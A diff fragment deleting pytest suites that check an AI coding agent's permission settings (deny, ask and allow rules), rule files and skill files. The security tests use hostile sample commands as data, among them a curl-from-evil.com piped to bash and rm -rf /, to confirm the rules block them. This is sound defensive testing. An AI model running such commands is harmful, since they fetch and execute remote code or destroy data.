- """Determine permission outcome for a command against the full ruleset.
-
- :param command: tool call string (e.g. ``"Bash(ls -la)"``)
- :param settings: parsed settings.json dict
- :return: ``"deny"``, ``"ask"``, ``"allow"``, or ``"none"``
- """
- perms = settings["permissions"]
- for pattern in perms.get("deny", []):
- if matches(pattern, command):
- return "deny"
- for pattern in perms.get("ask", []):
- if matches(pattern, command):
- return "ask"
- for pattern in perms.get("allow", []):
- if matches(pattern, command):
- return "allow"
- return "none"
-
-
-# ---------------------------------------------------------------------------
-# Fixtures
-# ---------------------------------------------------------------------------
-
-
-@pytest.fixture
-def settings() -> dict[str, Any]:
- """Load and return the parsed settings.json."""
- return json.loads(SETTINGS_PATH.read_text(encoding="utf-8"))
-
-
-@pytest.fixture
-def allow_patterns(settings: dict[str, Any]) -> list[str]:
- return settings["permissions"]["allow"]
-
-
-@pytest.fixture
-def deny_patterns(settings: dict[str, Any]) -> list[str]:
- return settings["permissions"]["deny"]
-
-
-@pytest.fixture
-def ask_patterns(settings: dict[str, Any]) -> list[str]:
- return settings["permissions"]["ask"]
-
-
-@pytest.fixture
-def all_patterns(allow_patterns: list[str], deny_patterns: list[str], ask_patterns: list[str]) -> list[str]:
- return allow_patterns + deny_patterns + ask_patterns
-
-
-# ---------------------------------------------------------------------------
-# 1. JSON Structure
-# ---------------------------------------------------------------------------
-
-
-class TestJsonStructure:
- """Validate settings.json is well-formed and has the required permission schema."""
-
- def test_file_exists(self) -> None:
- assert SETTINGS_PATH.exists(), f"{SETTINGS_PATH} does not exist"
-
- def test_valid_json(self) -> None:
- json.loads(SETTINGS_PATH.read_text(encoding="utf-8"))
-
- def test_has_permissions_key(self, settings: dict[str, Any]) -> None:
- assert "permissions" in settings
-
- def test_permissions_has_required_lists(self, settings: dict[str, Any]) -> None:
- perms = settings["permissions"]
- for key in ("allow", "deny", "ask"):
- assert key in perms, f"Missing permissions.{key}"
-
- def test_all_permission_values_are_lists(self, settings: dict[str, Any]) -> None:
- perms = settings["permissions"]
- for key in ("allow", "deny", "ask"):
- assert isinstance(perms[key], list), f"permissions.{key} is not a list"
-
- def test_all_permission_entries_are_strings(self, all_patterns: list[str]) -> None:
- for pat in all_patterns:
- assert isinstance(pat, str), f"Non-string entry: {pat!r}"
-
-
-# ---------------------------------------------------------------------------
-# 2. Pattern Syntax
-# ---------------------------------------------------------------------------
-
-
-class TestPatternSyntax:
- """Validate all permission patterns use correct and non-deprecated syntax."""
-
- def test_no_deprecated_colon_wildcard_syntax(self, all_patterns: list[str]) -> None:
- violations = [p for p in all_patterns if ":*)" in p]
- assert not violations, f"Deprecated ':*' syntax found: {violations}"
-
- def test_all_patterns_are_valid_format(self, all_patterns: list[str]) -> None:
- for pat in all_patterns:
- assert TOOL_PATTERN.match(pat), f"Invalid pattern format: {pat!r}"
-
- def test_bash_patterns_have_command_prefix(self, all_patterns: list[str]) -> None:
- for pat in all_patterns:
- if pat.startswith("Bash("):
- inner = pat[5:-1]
- assert inner.strip(), f"Empty Bash pattern: {pat!r}"
- assert inner.strip() != "*", f"Bare wildcard Bash(*) found: {pat!r}"
-
- def test_no_bare_bash_in_allow(self, allow_patterns: list[str]) -> None:
- assert "Bash" not in allow_patterns, "Bare 'Bash' in allow permits arbitrary execution"
-
- def test_no_universal_bash_wildcard_in_allow(self, allow_patterns: list[str]) -> None:
- assert "Bash(*)" not in allow_patterns, "'Bash(*)' in allow permits arbitrary execution"
-
- def test_parentheses_are_balanced(self, all_patterns: list[str]) -> None:
- for pat in all_patterns:
- assert pat.count("(") == pat.count(")"), f"Unbalanced parens: {pat!r}"
-
- def test_no_empty_patterns(self, all_patterns: list[str]) -> None:
- for pat in all_patterns:
- assert pat.strip(), "Empty pattern found in permissions"
-
-
-# ---------------------------------------------------------------------------
-# 3. Pattern Matching (matches() function)
-# ---------------------------------------------------------------------------
-
-
-class TestPatternMatching:
- """Test the matches() function simulating Claude Code pattern matching behavior."""
-
- def test_wildcard_matches_command_with_args(self) -> None:
- assert matches("Bash(ls *)", "Bash(ls -la)")
-
- def test_wildcard_matches_command_without_args(self) -> None:
- assert matches("Bash(ls *)", "Bash(ls)")
-
- def test_wildcard_matches_command_with_long_args(self) -> None:
- assert matches("Bash(git commit *)", 'Bash(git commit -m "fix: long message")')
-
- def test_wildcard_matches_command_with_path_args(self) -> None:
- assert matches("Bash(ls *)", "Bash(ls /foo/bar/baz)")
-
- def test_word_boundary_prevents_prefix_match(self) -> None:
- assert not matches("Bash(ls *)", "Bash(lsof)")
-
- def test_word_boundary_prevents_partial_command(self) -> None:
- assert not matches("Bash(git *)", "Bash(gitk)")
-
- def test_multi_word_prefix_matches(self) -> None:
- assert matches("Bash(git commit *)", 'Bash(git commit -m "msg")')
-
- def test_multi_word_prefix_does_not_match_different_subcommand(self) -> None:
- assert not matches("Bash(git commit *)", "Bash(git push origin main)")
-
- def test_multi_word_prefix_matches_bare_subcommand(self) -> None:
- assert matches("Bash(git commit *)", "Bash(git commit)")
-
- def test_shell_and_operator_causes_no_match(self) -> None:
- assert not matches("Bash(ls *)", "Bash(cd /foo && ls)")
-
- def test_shell_pipe_operator_causes_no_match(self) -> None:
- assert not matches("Bash(grep *)", "Bash(cat file | grep pattern)")
-
- def test_shell_semicolon_causes_no_match(self) -> None:
- assert not matches("Bash(ls *)", "Bash(cd /foo; ls)")
-
- def test_shell_or_operator_causes_no_match(self) -> None:
- assert not matches("Bash(ls *)", "Bash(ls /foo || echo fail)")
-
- def test_bare_tool_name_matches_bare_invocation(self) -> None:
- assert matches("WebSearch", "WebSearch")
-
- def test_bare_tool_name_matches_parameterized_invocation(self) -> None:
- assert matches("WebSearch", "WebSearch(query here)")
-
- def test_bare_tool_name_does_not_match_different_tool(self) -> None:
- assert not matches("WebSearch", "WebFetch(url)")
-
-
-# ---------------------------------------------------------------------------
-# 4. Conflict Detection
-# ---------------------------------------------------------------------------
-
-
-class TestConflictDetection:
- """Detect conflicting or redundant patterns across allow/deny/ask lists."""
-
- def test_no_pattern_in_multiple_lists(
- self, allow_patterns: list[str], deny_patterns: list[str], ask_patterns: list[str]
- ) -> None:
- allow_set = set(allow_patterns)
- deny_set = set(deny_patterns)
- ask_set = set(ask_patterns)
- assert not (allow_set & deny_set), f"Pattern in both allow and deny: {allow_set & deny_set}"
- assert not (allow_set & ask_set), f"Pattern in both allow and ask: {allow_set & ask_set}"
- assert not (deny_set & ask_set), f"Pattern in both deny and ask: {deny_set & ask_set}"
-
- def test_no_duplicate_patterns_within_list(
- self, allow_patterns: list[str], deny_patterns: list[str], ask_patterns: list[str]
- ) -> None:
- for name, pats in [("allow", allow_patterns), ("deny", deny_patterns), ("ask", ask_patterns)]:
- assert len(pats) == len(set(pats)), f"Duplicates in {name}: {[p for p in pats if pats.count(p) > 1]}"
-
- def test_deny_patterns_actually_deny(self, settings: dict[str, Any], deny_patterns: list[str]) -> None:
- """Construct a sample command for each deny pattern and verify it evaluates to 'deny'."""
- for pat in deny_patterns:
- if pat.startswith("Bash(") and pat.endswith(")"):
- inner = pat[5:-1]
- cmd = "Bash(" + inner.replace(" *", " test-arg") + ")"
- assert evaluate(cmd, settings) == "deny", f"{cmd} should be denied by {pat}"
-
- def test_ask_patterns_actually_ask(self, settings: dict[str, Any], ask_patterns: list[str]) -> None:
- """Construct a sample command for each ask pattern and verify it evaluates to 'ask'."""
- for pat in ask_patterns:
- if pat.startswith("Bash(") and pat.endswith(")"):
- inner = pat[5:-1]
- cmd = "Bash(" + inner.replace(" *", " test-arg") + ")"
- assert evaluate(cmd, settings) == "ask", f"{cmd} should require ask by {pat}"
-
-
-# ---------------------------------------------------------------------------
-# 5. Security Invariants
-# ---------------------------------------------------------------------------
-
-
-class TestSecurityInvariants:
- """Validate security-critical invariants of the permission configuration."""
-
- def test_secret_management_is_denied(self, settings: dict[str, Any]) -> None:
- assert evaluate("Bash(gh secret list)", settings) == "deny"
- assert evaluate("Bash(gh secret set TOKEN)", settings) == "deny"
-
- def test_gh_auth_is_denied(self, settings: dict[str, Any]) -> None:
- assert evaluate("Bash(gh auth login)", settings) == "deny"
- assert evaluate("Bash(gh auth status)", settings) == "deny"
-
- def test_gh_ssh_key_is_denied(self, settings: dict[str, Any]) -> None:
- assert evaluate("Bash(gh ssh-key add key.pub)", settings) == "deny"
-
- def test_gh_gpg_key_is_denied(self, settings: dict[str, Any]) -> None:
- assert evaluate("Bash(gh gpg-key add key.gpg)", settings) == "deny"
-
- def test_git_clean_is_denied(self, settings: dict[str, Any]) -> None:
- assert evaluate("Bash(git clean -fd)", settings) == "deny"
- assert evaluate("Bash(git clean -xfd)", settings) == "deny"
-
- def test_git_config_is_denied(self, settings: dict[str, Any]) -> None:
- assert evaluate("Bash(git config user.email foo@bar.com)", settings) == "deny"
- assert evaluate("Bash(git config --global core.editor vim)", settings) == "deny"
-
- def test_uv_self_is_denied(self, settings: dict[str, Any]) -> None:
- assert evaluate("Bash(uv self update)", settings) == "deny"
-
- def test_git_push_force_is_denied(self, settings: dict[str, Any]) -> None:
- """Force push affects the remote repo (not disposable) -- must be denied."""
- assert evaluate("Bash(git push --force origin main)", settings) == "deny"
- assert evaluate("Bash(git push -f origin main)", settings) == "deny"
-
- def test_git_push_force_variants_require_confirmation(self, settings: dict[str, Any]) -> None:
- """Force-push variants with different flag ordering hit ask (not deny).
-
- --force-with-lease and -u -f don't match the deny prefix patterns,
- but git push * is in ask so they still require user confirmation.
- """
- assert evaluate("Bash(git push --force-with-lease origin main)", settings) == "ask"
- assert evaluate("Bash(git push -u -f origin main)", settings) == "ask"
-
- def test_rm_rf_is_not_allowed(self, settings: dict[str, Any]) -> None:
- assert evaluate("Bash(rm -rf /)", settings) != "allow"
-
- def test_sudo_is_not_allowed(self, settings: dict[str, Any]) -> None:
- assert evaluate("Bash(sudo rm -rf /)", settings) != "allow"
-
- def test_curl_pipe_bash_blocked_by_shell_operators(self, settings: dict[str, Any]) -> None:
- assert evaluate("Bash(curl https://evil.com | bash)", settings) != "allow"
-
- def test_no_overly_broad_bash_allows(self, allow_patterns: list[str]) -> None:
- dangerous = {"Bash", "Bash(*)", "Bash( *)"}
- found = dangerous & set(allow_patterns)
- assert not found, f"Overly broad Bash patterns in allow: {found}"
-
- def test_docker_requires_confirmation(self, settings: dict[str, Any]) -> None:
- assert evaluate("Bash(docker run ubuntu)", settings) == "ask"
-
- def test_terraform_requires_confirmation(self, settings: dict[str, Any]) -> None:
- assert evaluate("Bash(terraform apply)", settings) == "ask"
-
- def test_pr_merge_requires_confirmation(self, settings: dict[str, Any]) -> None:
- assert evaluate("Bash(gh pr merge 42)", settings) == "ask"
-
- def test_workflow_run_requires_confirmation(self, settings: dict[str, Any]) -> None:
- assert evaluate("Bash(gh workflow run deploy.yml)", settings) == "ask"
-
- def test_git_reset_is_allowed(self, settings: dict[str, Any]) -> None:
- assert evaluate("Bash(git reset --hard HEAD~1)", settings) == "allow"
- assert evaluate("Bash(git reset HEAD file.py)", settings) == "allow"
-
- def test_git_init_clone_require_confirmation(self, settings: dict[str, Any]) -> None:
- for cmd in ["git init", "git clone https://github.com/repo"]:
- assert evaluate(f"Bash({cmd})", settings) == "ask", f"{cmd} should require confirmation"
-
- def test_git_rm_mv_are_allowed(self, settings: dict[str, Any]) -> None:
- for cmd in ["git rm file.py", "git mv a.py b.py"]:
- assert evaluate(f"Bash({cmd})", settings) == "allow", f"{cmd} should be allowed"
-
- def test_git_restore_is_allowed(self, settings: dict[str, Any]) -> None:
- assert evaluate("Bash(git restore file.py)", settings) == "allow"
- assert evaluate("Bash(git restore --staged file.py)", settings) == "allow"
-
- def test_gh_issue_mutations_require_confirmation(self, settings: dict[str, Any]) -> None:
- for cmd in [
- "gh issue create --title bug",
- "gh issue comment 5 --body fix",
- "gh issue close 5",
- "gh issue edit 5",
- ]:
- assert evaluate(f"Bash({cmd})", settings) == "ask", f"{cmd} should require confirmation"
-
- def test_gh_pr_reopen_requires_confirmation(self, settings: dict[str, Any]) -> None:
- assert evaluate("Bash(gh pr reopen 42)", settings) == "ask"
-
- def test_gh_pr_merge_auto_requires_confirmation(self, settings: dict[str, Any]) -> None:
- assert evaluate("Bash(gh pr merge --auto 42)", settings) == "ask"
-
- def test_gh_workflow_enable_disable_requires_confirmation(self, settings: dict[str, Any]) -> None:
- assert evaluate("Bash(gh workflow enable deploy.yml)", settings) == "ask"
- assert evaluate("Bash(gh workflow disable deploy.yml)", settings) == "ask"
-
- def test_git_worktree_is_allowed(self, settings: dict[str, Any]) -> None:
- assert evaluate("Bash(git worktree add ../feature)", settings) == "allow"
-
- def test_uv_init_requires_confirmation(self, settings: dict[str, Any]) -> None:
- assert evaluate("Bash(uv init my-project)", settings) == "ask"
-
- def test_uv_remove_requires_confirmation(self, settings: dict[str, Any]) -> None:
- assert evaluate("Bash(uv remove requests)", settings) == "ask"
-
- def test_uv_cache_requires_confirmation(self, settings: dict[str, Any]) -> None:
- assert evaluate("Bash(uv cache clean)", settings) == "ask"
-
-
-# ---------------------------------------------------------------------------
-# 6. Evaluation Order (end-to-end)
-# ---------------------------------------------------------------------------
-
-
-class TestEvaluationOrder:
- """End-to-end tests verifying deny > ask > allow evaluation order with real commands."""
-
- def test_deny_wins_over_allow(self, settings: dict[str, Any]) -> None:
- assert evaluate("Bash(gh secret list)", settings) == "deny"
-
- def test_ask_wins_over_allow(self, settings: dict[str, Any]) -> None:
- assert evaluate("Bash(python -c print(1))", settings) == "ask"
-
- def test_allow_passes_when_no_deny_or_ask(self, settings: dict[str, Any]) -> None:
- assert evaluate("Bash(ls -la)", settings) == "allow"
-
- def test_unmatched_command_returns_none(self, settings: dict[str, Any]) -> None:
- assert evaluate("Bash(curl https://example.com)", settings) == "none"
-
- def test_git_read_operations_are_allowed(self, settings: dict[str, Any]) -> None:
- for cmd in [
- "git status",
- "git log --oneline",
- "git diff HEAD",
- "git blame src/main.py",
- "git reflog",
- "git ls-files",
- "git describe --tags",
- "git shortlog -sn",
- "git rev-list HEAD",
- ]:
- assert evaluate(f"Bash({cmd})", settings) == "allow", f"{cmd} should be allowed"
-
- def test_git_write_operations_are_allowed(self, settings: dict[str, Any]) -> None:
- for cmd in ["git add .", 'git commit -m "msg"']:
- assert evaluate(f"Bash({cmd})", settings) == "allow", f"{cmd} should be allowed"
-
- def test_git_push_requires_confirmation(self, settings: dict[str, Any]) -> None:
- """git push affects remote state -- requires confirmation."""
- assert evaluate("Bash(git push origin main)", settings) == "ask"
-
- def test_testing_commands_are_allowed(self, settings: dict[str, Any]) -> None:
- for cmd in ["pytest tests/", "uv run pytest -v"]:
- assert evaluate(f"Bash({cmd})", settings) == "allow", f"{cmd} should be allowed"
-
- def test_python_commands_require_confirmation(self, settings: dict[str, Any]) -> None:
- """All 'python' commands (including 'python -m pytest') require confirmation.
-
- 'Bash(python *)' in ask catches all python invocations. This is intentional:
- arbitrary python execution should always be confirmed. Use 'pytest' or
- 'uv run pytest' directly for auto-allowed test runs.
- """
- assert evaluate("Bash(python -m pytest tests/)", settings) == "ask"
- assert evaluate("Bash(python script.py)", settings) == "ask"
-
- def test_web_search_is_allowed(self, settings: dict[str, Any]) -> None:
- assert evaluate("WebSearch", settings) == "allow"
- assert evaluate("WebSearch(some query)", settings) == "allow"
-
- def test_web_fetch_requires_confirmation(self, settings: dict[str, Any]) -> None:
- """WebFetch in ask prevents data exfiltration via query string URLs."""
- assert evaluate("WebFetch", settings) == "ask"
- assert evaluate("WebFetch(https://example.com)", settings) == "ask"
-
- def test_chained_commands_fall_through(self, settings: dict[str, Any]) -> None:
- assert evaluate("Bash(cd /foo && ls)", settings) == "none"
-
- def test_gh_api_requires_confirmation(self, settings: dict[str, Any]) -> None:
- """gh api can create gists/issues -- requires confirmation to prevent exfiltration."""
- assert evaluate("Bash(gh api repos/owner/repo/pulls)", settings) == "ask"
-
- def test_gh_pr_review_operations_require_confirmation(self, settings: dict[str, Any]) -> None:
- """PR comment/review/ready are state-changing and have data exfiltration risk."""
- for cmd in ["gh pr comment 5 --body lgtm", "gh pr review 5 --approve", "gh pr ready 5"]:
- assert evaluate(f"Bash({cmd})", settings) == "ask", f"{cmd} should require confirmation"
-
- def test_gh_read_only_operations_are_allowed(self, settings: dict[str, Any]) -> None:
- for cmd in [
- "gh repo view",
- "gh release list",
- "gh release view v1.0",
- "gh label list",
- "gh browse",
- "gh search repos python",
- ]:
- assert evaluate(f"Bash({cmd})", settings) == "allow", f"{cmd} should be allowed"
-
- def test_uv_read_operations_are_allowed(self, settings: dict[str, Any]) -> None:
- for cmd in ["uv lock", "uv tree", "uv export --format requirements-txt"]:
- assert evaluate(f"Bash({cmd})", settings) == "allow", f"{cmd} should be allowed"
diff --git a/tests/test_rules.py b/tests/test_rules.py
deleted file mode 100644
index 45f3b58..0000000
--- a/tests/test_rules.py
+++ /dev/null
@@ -1,128 +0,0 @@
-"""Tests for .claude/rules/ -- validates rule files exist and have correct structure."""
-
-from pathlib import Path
-
-import pytest
-
-RULES_DIR = Path(__file__).parent.parent / ".claude" / "rules"
-
-ALL_RULES = [
- "architecture-review.md",
- "code-quality-review.md",
- "performance-review.md",
- "test-review.md",
-]
-
-
-class TestRuleExistence:
- """Verify all expected rule files exist."""
-
- def test_rules_directory_exists(self) -> None:
- assert RULES_DIR.exists(), f"{RULES_DIR} does not exist"
- assert RULES_DIR.is_dir(), f"{RULES_DIR} is not a directory"
-
- @pytest.mark.parametrize("rule_name", ALL_RULES)
- def test_rule_file_exists(self, rule_name: str) -> None:
- rule_path = RULES_DIR / rule_name
- assert rule_path.exists(), f"Rule file missing: {rule_name}"
-
-
-class TestRuleStructure:
- """Verify rule files have correct frontmatter and content."""
-
- @pytest.mark.parametrize("rule_name", ALL_RULES)
- def test_rule_has_frontmatter(self, rule_name: str) -> None:
- rule_path = RULES_DIR / rule_name
- content = rule_path.read_text(encoding="utf-8")
- assert content.startswith("---"), f"{rule_name} missing YAML frontmatter"
- parts = content.split("---", 2)
- assert len(parts) >= 3, f"{rule_name} has unclosed frontmatter"
-
- @pytest.mark.parametrize("rule_name", ALL_RULES)
- def test_rule_has_description(self, rule_name: str) -> None:
- rule_path = RULES_DIR / rule_name
- content = rule_path.read_text(encoding="utf-8")
- assert "description:" in content, f"{rule_name} missing description in frontmatter"
-
- @pytest.mark.parametrize("rule_name", ALL_RULES)
- def test_rule_has_no_paths_field(self, rule_name: str) -> None:
- rule_path = RULES_DIR / rule_name
- content = rule_path.read_text(encoding="utf-8")
- parts = content.split("---", 2)
- frontmatter = parts[1] if len(parts) >= 3 else ""
- assert "paths:" not in frontmatter, f"{rule_name} should not have paths: field (rules apply globally)"
-
- @pytest.mark.parametrize("rule_name", ALL_RULES)
- def test_rule_is_not_empty(self, rule_name: str) -> None:
- rule_path = RULES_DIR / rule_name
- content = rule_path.read_text(encoding="utf-8")
- parts = content.split("---", 2)
- body = parts[2].strip() if len(parts) >= 3 else ""
- assert len(body) > 100, f"{rule_name} body is too short ({len(body)} chars)"
-
- @pytest.mark.parametrize("rule_name", ALL_RULES)
- def test_rule_has_heading(self, rule_name: str) -> None:
- rule_path = RULES_DIR / rule_name
- content = rule_path.read_text(encoding="utf-8")
- parts = content.split("---", 2)
- body = parts[2] if len(parts) >= 3 else ""
- assert "# " in body, f"{rule_name} missing markdown heading"
-
- @pytest.mark.parametrize("rule_name", ALL_RULES)
- def test_rule_is_concise(self, rule_name: str) -> None:
- rule_path = RULES_DIR / rule_name
- content = rule_path.read_text(encoding="utf-8")
- line_count = len(content.splitlines())
- assert line_count <= 80, f"{rule_name} is too long ({line_count} lines, max 80)"
-
-
-class TestRuleContent:
- """Verify rules cover expected review dimensions."""
-
- def test_architecture_review_covers_dependencies(self) -> None:
- content = (RULES_DIR / "architecture-review.md").read_text(encoding="utf-8")
- assert "Dependencies" in content or "dependencies" in content
-
- def test_architecture_review_covers_security(self) -> None:
- content = (RULES_DIR / "architecture-review.md").read_text(encoding="utf-8")
- assert "Security" in content or "security" in content
-
- def test_code_quality_review_covers_dry(self) -> None:
- content = (RULES_DIR / "code-quality-review.md").read_text(encoding="utf-8")
- assert "DRY" in content or "duplication" in content.lower()
-
- def test_code_quality_review_covers_error_handling(self) -> None:
- content = (RULES_DIR / "code-quality-review.md").read_text(encoding="utf-8")
- assert "Error" in content or "error" in content
-
- def test_code_quality_review_covers_type_annotations(self) -> None:
- content = (RULES_DIR / "code-quality-review.md").read_text(encoding="utf-8")
- assert "Type" in content or "type" in content
-
- def test_performance_review_covers_n_plus_1(self) -> None:
- content = (RULES_DIR / "performance-review.md").read_text(encoding="utf-8")
- assert "N+1" in content
-
- def test_performance_review_covers_caching(self) -> None:
- content = (RULES_DIR / "performance-review.md").read_text(encoding="utf-8")
- assert "Caching" in content or "caching" in content
-
- def test_performance_review_covers_complexity(self) -> None:
- content = (RULES_DIR / "performance-review.md").read_text(encoding="utf-8")
- assert "O(n" in content or "complexity" in content.lower()
-
- def test_test_review_covers_coverage(self) -> None:
- content = (RULES_DIR / "test-review.md").read_text(encoding="utf-8")
- assert "Coverage" in content or "coverage" in content
-
- def test_test_review_covers_edge_cases(self) -> None:
- content = (RULES_DIR / "test-review.md").read_text(encoding="utf-8")
- assert "Edge" in content or "edge" in content
-
- def test_test_review_covers_isolation(self) -> None:
- content = (RULES_DIR / "test-review.md").read_text(encoding="utf-8")
- assert "Isolation" in content or "isolation" in content or "independent" in content.lower()
-
- def test_test_review_covers_assertion_quality(self) -> None:
- content = (RULES_DIR / "test-review.md").read_text(encoding="utf-8")
- assert "Assertion" in content or "assertion" in content
diff --git a/tests/test_skills.py b/tests/test_skills.py
deleted file mode 100644
index 83e4570..0000000
--- a/tests/test_skills.py
+++ /dev/null
@@ -1,214 +0,0 @@
-"""Tests for .claude/skills/ -- validates skill files exist and have correct structure."""
-
-from pathlib import Path
-
-import pytest
-
-SKILLS_DIR = Path(__file__).parent.parent / ".claude" / "skills"
-
-ALL_SKILLS = [
- "sync",
- "design",
- "done",
- "landed",
-]
-
-
-class TestSkillExistence:
- """Verify all expected skill directories and files exist."""
-
- def test_skills_directory_exists(self) -> None:
- assert SKILLS_DIR.exists(), f"{SKILLS_DIR} does not exist"
- assert SKILLS_DIR.is_dir(), f"{SKILLS_DIR} is not a directory"
-
- @pytest.mark.parametrize("skill_name", ALL_SKILLS)
- def test_skill_directory_exists(self, skill_name: str) -> None:
- skill_dir = SKILLS_DIR / skill_name
- assert skill_dir.exists(), f"Skill directory missing: {skill_name}"
- assert skill_dir.is_dir(), f"{skill_name} is not a directory"
-
- @pytest.mark.parametrize("skill_name", ALL_SKILLS)
- def test_skill_file_exists(self, skill_name: str) -> None:
- skill_path = SKILLS_DIR / skill_name / "SKILL.md"
- assert skill_path.exists(), f"SKILL.md missing for: {skill_name}"
-
- def test_no_unexpected_skills(self) -> None:
- actual_skills = {d.name for d in SKILLS_DIR.iterdir() if d.is_dir()}
- expected_skills = set(ALL_SKILLS)
- unexpected = actual_skills - expected_skills
- assert not unexpected, f"Unexpected skill directories found: {unexpected}"
-
-
-class TestSkillFrontmatter:
- """Verify skill files have correct frontmatter."""
-
- @pytest.mark.parametrize("skill_name", ALL_SKILLS)
- def test_skill_has_frontmatter(self, skill_name: str) -> None:
- content = (SKILLS_DIR / skill_name / "SKILL.md").read_text(encoding="utf-8")
- assert content.startswith("---"), f"{skill_name} missing YAML frontmatter"
- parts = content.split("---", 2)
- assert len(parts) >= 3, f"{skill_name} has unclosed frontmatter"
-
- @pytest.mark.parametrize("skill_name", ALL_SKILLS)
- def test_skill_has_name(self, skill_name: str) -> None:
- content = (SKILLS_DIR / skill_name / "SKILL.md").read_text(encoding="utf-8")
- assert "name:" in content, f"{skill_name} missing name in frontmatter"
-
- @pytest.mark.parametrize("skill_name", ALL_SKILLS)
- def test_skill_has_description(self, skill_name: str) -> None:
- content = (SKILLS_DIR / skill_name / "SKILL.md").read_text(encoding="utf-8")
- assert "description:" in content, f"{skill_name} missing description in frontmatter"
-
- @pytest.mark.parametrize("skill_name", ALL_SKILLS)
- def test_skill_has_allowed_tools(self, skill_name: str) -> None:
- content = (SKILLS_DIR / skill_name / "SKILL.md").read_text(encoding="utf-8")
- assert "allowed-tools:" in content, f"{skill_name} missing allowed-tools in frontmatter"
-
-
-class TestSkillBody:
- """Verify skill files have meaningful body content."""
-
- @pytest.mark.parametrize("skill_name", ALL_SKILLS)
- def test_skill_body_not_empty(self, skill_name: str) -> None:
- content = (SKILLS_DIR / skill_name / "SKILL.md").read_text(encoding="utf-8")
- parts = content.split("---", 2)
- body = parts[2].strip() if len(parts) >= 3 else ""
- assert len(body) > 100, f"{skill_name} body is too short ({len(body)} chars)"
-
- @pytest.mark.parametrize("skill_name", ALL_SKILLS)
- def test_skill_has_markdown_heading(self, skill_name: str) -> None:
- content = (SKILLS_DIR / skill_name / "SKILL.md").read_text(encoding="utf-8")
- parts = content.split("---", 2)
- body = parts[2] if len(parts) >= 3 else ""
- assert "# " in body, f"{skill_name} missing markdown heading in body"
-
-
-class TestSkillSideEffects:
- """Verify side-effect declarations are correct."""
-
- @pytest.mark.parametrize("skill_name", ["sync", "done", "landed"])
- def test_side_effect_skills_disable_model_invocation(self, skill_name: str) -> None:
- content = (SKILLS_DIR / skill_name / "SKILL.md").read_text(encoding="utf-8")
- parts = content.split("---", 2)
- frontmatter = parts[1] if len(parts) >= 3 else ""
- assert "disable-model-invocation: true" in frontmatter, (
- f"{skill_name} should have disable-model-invocation: true (has side effects)"
- )
-
- def test_design_allows_model_invocation(self) -> None:
- content = (SKILLS_DIR / "design" / "SKILL.md").read_text(encoding="utf-8")
- parts = content.split("---", 2)
- frontmatter = parts[1] if len(parts) >= 3 else ""
- assert "disable-model-invocation" not in frontmatter, (
- "design should NOT have disable-model-invocation (intentionally model-invocable)"
- )
-
-
-class TestSkillContent:
- """Verify specific content per skill."""
-
- # /sync
- def test_sync_runs_git_fetch(self) -> None:
- content = (SKILLS_DIR / "sync" / "SKILL.md").read_text(encoding="utf-8")
- assert "git fetch" in content, "sync should run git fetch"
-
- def test_sync_checks_git_status(self) -> None:
- content = (SKILLS_DIR / "sync" / "SKILL.md").read_text(encoding="utf-8")
- assert "git status" in content, "sync should check git status"
-
- def test_sync_shows_recent_commits(self) -> None:
- content = (SKILLS_DIR / "sync" / "SKILL.md").read_text(encoding="utf-8")
- assert "git log" in content, "sync should show recent commits"
-
- # /design
- def test_design_reads_decisions(self) -> None:
- content = (SKILLS_DIR / "design" / "SKILL.md").read_text(encoding="utf-8")
- assert "DECISIONS.md" in content, "design should read DECISIONS.md"
-
- def test_design_reads_implementation_plan(self) -> None:
- content = (SKILLS_DIR / "design" / "SKILL.md").read_text(encoding="utf-8")
- assert "IMPLEMENTATION_PLAN.md" in content, "design should read IMPLEMENTATION_PLAN.md"
-
- def test_design_classifies_scope(self) -> None:
- content = (SKILLS_DIR / "design" / "SKILL.md").read_text(encoding="utf-8")
- assert "**Q** (Quick)" in content and "**S** (Standard)" in content and "**P** (Project)" in content, (
- "design should classify scope as Q/S/P with descriptive labels"
- )
-
- def test_design_has_argument_hint(self) -> None:
- content = (SKILLS_DIR / "design" / "SKILL.md").read_text(encoding="utf-8")
- assert "argument-hint:" in content, "design should have argument-hint in frontmatter"
-
- # /done
- def test_done_has_four_phases(self) -> None:
- content = (SKILLS_DIR / "done" / "SKILL.md").read_text(encoding="utf-8")
- assert "Phase 1" in content, "done should have Phase 1 (Detect)"
- assert "Phase 2" in content, "done should have Phase 2 (Validate)"
- assert "Phase 3" in content, "done should have Phase 3 (Ship/Land/Deliver)"
- assert "Phase 4" in content, "done should have Phase 4 (Document)"
-
- def test_done_references_agents(self) -> None:
- content = (SKILLS_DIR / "done" / "SKILL.md").read_text(encoding="utf-8")
- assert "code-quality-validator" in content, "done should reference code-quality-validator agent"
- assert "test-coverage-validator" in content, "done should reference test-coverage-validator agent"
- assert "pr-writer" in content, "done should reference pr-writer agent"
-
- def test_done_has_blocker_tier(self) -> None:
- content = (SKILLS_DIR / "done" / "SKILL.md").read_text(encoding="utf-8")
- assert "Blocker" in content, "done should have Blockers validation tier"
-
- def test_done_has_high_priority_tier(self) -> None:
- content = (SKILLS_DIR / "done" / "SKILL.md").read_text(encoding="utf-8")
- assert "High Priority" in content, "done should have High Priority validation tier"
-
- def test_done_has_recommended_tier(self) -> None:
- content = (SKILLS_DIR / "done" / "SKILL.md").read_text(encoding="utf-8")
- assert "Recommended" in content, "done should have Recommended validation tier"
-
- def test_done_checks_secrets(self) -> None:
- content = (SKILLS_DIR / "done" / "SKILL.md").read_text(encoding="utf-8")
- assert "secret" in content.lower(), "done should scan for secrets"
-
- def test_done_checks_debug_code(self) -> None:
- content = (SKILLS_DIR / "done" / "SKILL.md").read_text(encoding="utf-8")
- assert "breakpoint()" in content, "done should check for breakpoint()"
- assert "pdb" in content, "done should check for pdb"
-
- def test_done_updates_changelog(self) -> None:
- content = (SKILLS_DIR / "done" / "SKILL.md").read_text(encoding="utf-8")
- assert "CHANGELOG.md" in content, "done should update CHANGELOG.md"
-
- def test_done_updates_decisions(self) -> None:
- content = (SKILLS_DIR / "done" / "SKILL.md").read_text(encoding="utf-8")
- assert "DECISIONS.md" in content, "done should update DECISIONS.md"
-
- def test_done_has_scope_detection(self) -> None:
- content = (SKILLS_DIR / "done" / "SKILL.md").read_text(encoding="utf-8")
- assert "ship" in content.lower(), "done should describe Q=ship"
- assert "land" in content.lower(), "done should describe S=land"
- assert "deliver" in content.lower(), "done should describe P=deliver"
-
- # /landed
- def test_landed_detects_merged_pr(self) -> None:
- content = (SKILLS_DIR / "landed" / "SKILL.md").read_text(encoding="utf-8")
- assert "gh pr list" in content, "landed should detect merged PR"
-
- def test_landed_verifies_ci(self) -> None:
